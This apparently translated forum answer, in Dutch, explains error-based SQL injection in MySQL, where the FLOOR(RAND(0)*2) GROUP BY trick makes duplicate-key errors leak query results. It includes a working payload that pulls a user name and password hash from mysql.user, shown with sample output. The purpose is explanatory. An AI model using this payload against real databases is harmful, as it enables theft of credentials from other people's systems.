Wat de aanval werkelijk doet
Er is een subtiel maar slim detail over deze aanval dat andere beantwoorders hebben gemist. Let op de foutmelding Duplicate entry ':sjw:1:ukt:1' for key 'group_key'
. De string :sjw:1:ukt:1
is eigenlijk het resultaat van een expressie die is geëvalueerd door uw MySQL-server. Als uw toepassing de MySQL-foutreeks terugstuurt naar de browser, kan de foutmelding gegevens lekken uit uw database.
Dit soort aanval wordt gebruikt in gevallen waarin het queryresultaat niet op een andere manier naar de browser wordt teruggestuurd (blinde SQL-injectie), of wanneer een klassieke UNION SELECT-aanval moeilijk uit te voeren is. Het werkt ook in INSERT/UPDATE/DELETE-query's.
Zoals Hawili opmerkt, werd verondersteld dat de oorspronkelijke specifieke vraag geen informatie zou lekken, het was slechts een test om te zien of uw toepassing kwetsbaar is voor dit soort injectie.
De aanval niet mislukken zoals MvG suggereerde, waardoor deze fout het doel van de zoekopdracht is.
Een beter voorbeeld van hoe dit kan worden gebruikt:
> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
> 0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'
Waarom de fout wordt gemeld
Waarom de query deze fout in MySQL veroorzaakt, is mij een beetje een raadsel. Het lijkt op een MySQL-bug, aangezien GROUP BY moet omgaan met dubbele vermeldingen door ze te aggregeren. Hawili's vereenvoudiging van de zoekopdracht veroorzaakt in feite niet de fout!
De uitdrukking FLOOR(RAND(0)*2)
geeft de volgende resultaten in volgorde, gebaseerd op het willekeurige seed-argument 0:
> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
...
Omdat de 3e waarde een duplicaat is van de 2e, wordt deze fout gegenereerd. Elke FROM-tabel met ten minste 3 rijen kan worden gebruikt, maar information_schema.tables is een veelvoorkomende. De delen COUNT(*) en GROUP BY zijn nodig om de fout in MySQL te veroorzaken:
> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
Deze fout treedt niet op in de PostgreSQL-equivalente query:
# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
count | x
-------+---
83 | 0
90 | 1
(Sorry dat ik 1 jaar te laat reageer, maar ik kwam dit vandaag tegen. Deze vraag is interessant voor mij omdat ik niet wist dat er manieren zijn om gegevens te lekken via foutmeldingen van MySQL)